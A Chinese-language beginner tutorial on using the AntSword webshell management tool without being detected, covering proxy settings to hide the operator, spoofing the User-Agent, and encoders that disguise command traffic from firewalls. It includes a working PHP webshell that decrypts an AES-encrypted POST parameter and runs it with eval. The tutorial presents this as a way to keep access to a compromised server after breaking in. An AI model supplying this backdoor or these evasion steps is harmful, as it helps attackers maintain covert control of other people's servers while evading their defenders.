新手入門:如何正確使用蟻劍
前言
蟻劍(antsword)是一款優秀的webshell管理工具,使用該工具的時候可能是很多人最幸福的時刻之一,因為使用該工具代表着我們經過千辛萬苦獲取到了一定的權限,但如果我們使用不當,這很可能是我們最悲傷的時候
很多人對於webshell管理工具的使用可能很粗糙,比如上傳了一句話木馬后,就直接使工具連接了。但現在的安全設備已經十分熟悉蟻劍這一類工具的指紋信息了,可能我們剛連上木馬,下一秒權限就丟失了
所以本文將會從頭講解如何正確的使用蟻劍,正確享受美好的時刻
設置代理
使用代理主要目的是隱藏自身,注意使用代理可以連接內網shell的技巧不要忘了。另外可以設置代理地址為burp,自己抓包看看 antsword 的流量

請求頭配置
antsword 最明顯的流量特征就是 User-Agent,不過我下載的最新版竟然會自動生成 User-Agent。為了安全還是設置一下

設置好后可以用 burp 抓包驗證一下

編碼器
User-Agent 設置好后,但我們卻發現注入的代碼基本是明文傳輸,如果目標有防火牆之類的設備,我們會很難連接上shell
antsword 提供了幾種編碼器也可以嘗試使用,如 chr 編碼器,PHP 類型獨有,通信時使用 chr函數對傳輸的字符串進行處理拼接,可以看到請求中除了 eval 字樣沒有明顯的特征信息

hex 編碼器,ASPX, CUSTOM 類獨有,將通信數據字符轉成16進制數據傳輸
另外我找到 antsword 在 github 上也提供了一些編碼器:https://github.com/AntSwordProject/AwesomeEncoder
我這里以 aes_128_ecb_zero_padding.js為例,演示一下怎么去設置使用這些編碼器
復制代碼先手動添加編碼器和解碼器

該編碼器是需要特定的shell配合的,所以我們上傳的shell需要單獨定制,如該編碼器需要的shell如下:
<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>
鏈接shell時要選好對應的編碼器和解碼器

可以抓包看下流量,基本上沒有什么特征信息了

如果能做到webshell免殺和通信流量隱藏,我們就會擁有穩穩的幸福
參考:
蟻劍官方文檔:https://www.yuque.com/antswordproject/antsword
